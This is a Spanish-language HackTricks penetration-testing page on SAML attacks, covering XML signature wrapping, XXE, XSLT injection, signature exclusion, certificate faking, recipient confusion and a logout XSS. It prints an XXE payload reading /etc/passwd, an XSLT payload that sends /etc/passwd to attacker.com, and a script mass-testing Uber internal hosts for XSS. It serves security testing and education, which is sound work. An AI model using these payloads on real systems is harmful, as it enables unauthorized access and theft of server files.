| .. | ||
| README.md | ||
| saml-basics.md | ||
Ataques SAML
Ataques SAML
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Información básica
{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}
Gráfico de ataques
Herramienta
SAMLExtractor: Una herramienta que puede tomar una URL o una lista de URL y devuelve la URL de consumo de SAML.
Ronda de XML
En XML, la parte firmada del XML se guarda en memoria, luego se realiza una codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero en ese escenario, los datos que se verifican y los datos originales podrían no ser los mismos.
Por ejemplo, comprueba el siguiente código:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
Ejecutar el programa contra REXML 3.2.4 o una versión anterior resultaría en la siguiente salida en su lugar:
First child in original doc: Y
First child after round-trip: Z
Así es como REXML vio el documento XML original del programa anterior:
Y así es como lo vio después de una ronda de análisis y serialización:
Para obtener más información sobre la vulnerabilidad y cómo abusar de ella:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
Ataques de envoltura de firma XML
Los documentos XML que contienen firmas XML se procesan típicamente en dos pasos independientes: validación de firma e invocación de función (lógica empresarial). Si ambos módulos tienen diferentes vistas de los datos, existe una nueva clase de vulnerabilidades llamada ataques de envoltura de firma XML (XSW).
En estos ataques, el atacante modifica la estructura del mensaje mediante la inyección de elementos falsificados que no invalidan la firma XML. El objetivo de esta alteración es cambiar el mensaje de tal manera que la lógica de la aplicación y el módulo de verificación de firma utilicen diferentes partes del mensaje. En consecuencia, el receptor verifica la firma XML correctamente, pero la lógica de la aplicación procesa el elemento falso. El atacante, por lo tanto, evita la protección de integridad y la autenticación de origen de la firma XML y puede inyectar contenido arbitrario.
Desde la solicitud SAML:
XSW #1
Un atacante puede agregar un nuevo elemento raíz donde se encuentra la firma. Por lo tanto, cuando el validador verifica la integridad de la firma, puede notar que ha verificado la integridad de la ruta Response -> Assertion -> Subject, y puede confundirse con la nueva ruta maliciosa Response -> Assertion -> Subject en rojo y usar sus datos.
XSW #2
La diferencia con #1 es que el tipo de firma utilizado es una firma separada donde XSW #1 utilizó una firma de envoltura.
Observe cómo la nueva estructura maliciosa es la misma que antes, tratando de confundir la lógica empresarial después de que se realizó la comprobación de integridad.
XSW #3
En este ataque se crea una Assertion maliciosa en el mismo nivel que la Assertion original para tratar de confundir la lógica empresarial y usar los datos maliciosos.
XSW #4
XSW #4 es similar a #3, excepto que en este caso la Assertion original se convierte en un hijo de la Assertion copiada.
XSW #5
En XSW #5, la firma y la Assertion original no están en una de las tres configuraciones estándar (envuelta/envolvente/separada). En este caso, la Assertion copiada envuelve la firma.
XSW #6
XSW #6 inserta su Assertion copiada en la misma ubicación que las #4 y #5. La pieza interesante aquí es que la Assertion copiada envuelve la firma, que a su vez envuelve la Assertion original.
XSW #7
XSW #7 inserta un elemento Extensions y agrega la Assertion copiada como hijo. Extensions es un elemento XML válido con una definición de esquema menos restrictiva. Los autores de este documento técnico desarrollaron este método en respuesta a la biblioteca OpenSAML. OpenSAML utilizó la validación de esquema para comparar correctamente el ID utilizado durante la validación de firma con el ID de la Assertion procesada. Los autores descubrieron que en los casos en que las Assertions copiadas con el mismo ID de la Assertion original eran hijos de un elemento con una definición de esquema menos restrictiva, pudieron evitar esta contramedida en particular.
XSW #8
XSW #8 utiliza otro elemento XML menos restrictivo para realizar una variación del patrón de ataque utilizado en XSW #7. En esta ocasión, la Assertion original es el hijo del elemento menos restrictivo en lugar de la Assertion copiada.
Herramienta
Puede utilizar la extensión de Burp SAML Raider para analizar la solicitud, aplicar cualquier ataque XSW que elija y lanzarlo.
Documento original
Para obtener más información sobre este ataque, lea el documento original en https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf
XXE
Si no sabe qué tipo de ataques son XXE, lea la siguiente página:
{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}
Debido a que las respuestas SAML son documentos XML comprimidos y codificados en base64, podemos probar XXE manipulando el documento XML enviado como respuesta SAML. Ejemplo:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
Herramienta
También puedes utilizar la extensión de Burp SAML Raider para generar la POC a partir de una solicitud SAML para probar posibles vulnerabilidades XXE.
Revisa también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT a través de SAML
Para obtener más información sobre XSLT, consulta:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}
La Transformación de Lenguaje de Hojas de Estilo Extensible (XSLT) es un lenguaje Turing completo para transformar documentos XML en otros tipos de documentos como HTML, JSON o PDF. Un aspecto importante a tener en cuenta aquí es que el ataque no requiere una firma válida para tener éxito. La razón de esto es que la transformación XSLT ocurre antes de que se procese la firma digital para su verificación. Básicamente, necesitamos una respuesta SAML firmada para realizar el ataque, pero la firma puede ser auto-firmada o inválida.
Aquí puedes encontrar una POC para comprobar este tipo de vulnerabilidades, en la página de hacktricks mencionada al principio de esta sección puedes encontrar cargas útiles.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Herramienta
También puedes usar la extensión de Burp SAML Raider para generar la POC a partir de una solicitud SAML para probar posibles vulnerabilidades XSLT.
Revisa también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI
Exclusión de firma XML
La exclusión de firma se utiliza para probar cómo se comporta la implementación de SAML cuando no hay un elemento de firma. Cuando falta un elemento de firma, es posible que se omita completamente el paso de validación de firma. Si la firma no se valida, cualquier contenido que normalmente se firmaría puede ser manipulado por un atacante.
Herramienta
La exclusión de firma comienza interceptando la respuesta SAML y luego haciendo clic en Remove Signatures. Al hacerlo, se eliminan todos los elementos de firma.
Con las firmas eliminadas, permita que la solicitud continúe hacia el objetivo. Si el servicio no requiere la firma
Falsificación de certificados
La falsificación de certificados es el proceso de probar si el proveedor de servicios verifica que un proveedor de identidad de confianza firmó el mensaje SAML. La relación de confianza entre SP e IdP se establece y debe ser verificada cada vez que se recibe un mensaje SAML. Lo que esto significa es que se utiliza un certificado auto-firmado para firmar la respuesta o afirmación SAML.
Herramienta
Se utilizará la extensión de Burp SAML Raider.
Para falsificar un certificado, comience interceptando la respuesta SAML.
Si hay una firma incluida en la respuesta, use el botón Send Certificate to SAML Raider Certs.
Después de enviar el certificado, deberíamos ver un certificado importado en la pestaña Certificados de SAML Raider. Una vez allí, resaltamos el certificado importado y presionamos el botón Save and Self-Sign.
Al hacerlo, se genera un clon auto-firmado del certificado original. Ahora es el momento de volver a la solicitud interceptada que aún se encuentra en el Proxy de Burp. Primero, seleccione el nuevo certificado auto-firmado del menú desplegable de firma XML. Luego use el botón Remove Signatures para eliminar cualquier firma existente. Finalmente, use el botón (Re-)Sign Message o (Re-)Sign Assertion (el que sea más apropiado en su situación dada).
Después de firmar el mensaje con el certificado auto-firmado, envíelo a su destino. Si nos autenticamos, sabemos que podemos firmar nuestros mensajes SAML. La capacidad de firmar nuestros mensajes SAML significa que podemos cambiar los valores en la afirmación y serán aceptados por el proveedor de servicios.
Confusión del destinatario del token / Confusión del objetivo del proveedor de servicios
La confusión del destinatario del token / Confusión del objetivo del proveedor de servicios prueba si el proveedor de servicios valida el destinatario. Esto significa que si la respuesta estaba destinada a un proveedor de servicios diferente, el proveedor de servicios actual debería notarlo y rechazar la autenticación.
El campo Destinatario es un atributo del elemento SubjectConfirmationData, que es un hijo del elemento Subject en una respuesta SAML.
El elemento SubjectConfirmationData especifica datos adicionales que permiten confirmar el sujeto o limitar las circunstancias en las que puede tener lugar el acto de confirmación del sujeto. La confirmación del sujeto tiene lugar cuando un partido que confía busca verificar la relación entre una entidad que presenta la afirmación (es decir, la entidad que atestigua) y los reclamos del sujeto de la afirmación.
El atributo Destinatario que se encuentra en el elemento SubjectConfirmationData es una URL que especifica la ubicación a la que se debe entregar la afirmación. Si el destinatario es un proveedor de servicios diferente al que lo recibe, la afirmación no debe ser aceptada.
Cómo hacerlo
La confusión del destinatario del token SAML (SAML-TRC) tiene algunas condiciones previas para que intentemos la explotación. Primero, necesitamos tener una cuenta legítima en un proveedor de servicios. En segundo lugar, SP-Target debe aceptar tokens emitidos por el mismo proveedor de identidad que atiende a SP-Legit.
El ataque es relativamente simple si las condiciones son verdaderas. Nos autenticamos en SP-Legit a través del proveedor de identidad compartido. Luego interceptamos la respuesta SAML en su camino desde el IdP a SP-Legit. Una vez interceptado, enviamos la respuesta SAML que estaba destinada a SP-Legit a SP-Target en su lugar. Si SP-Target acepta la afirmación; nos encontraremos con la sesión iniciada con el mismo nombre de cuenta que tenemos para SP-Legit y obtendremos acceso a los recursos correspondientes de SP-Target.
XSS en la funcionalidad de cierre de sesión
(Accede a la investigación original aquí)
Después de realizar la fuerza bruta de directorios, encontré la siguiente página:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
Es una página de cierre de sesión, abrí el enlace de arriba y me redirigió a la siguiente página.
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
El parámetro base toma una URL, ¿qué tal si lo reemplazamos con el clásico javascript:alert(123); para desencadenar un XSS?
Explotación masiva
Usando SAMLExtractor, que puede tomar una lista de URLs y luego devolverte la URL de devolución de llamada (consumo de SAML), decidí alimentar la herramienta con todos los subdominios de uberinternal.com para ver si hay otros dominios que usan la misma biblioteca y los había.
Lo que hice a continuación fue crear un script que llama a la página vulnerable oidauth/prompt e intenta el XSS y si mi entrada se refleja, me da un mensaje vulnerable agradable.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
Referencias
Los ataques fueron obtenidos de https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
Puedes encontrar recursos adicionales y publicaciones en https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.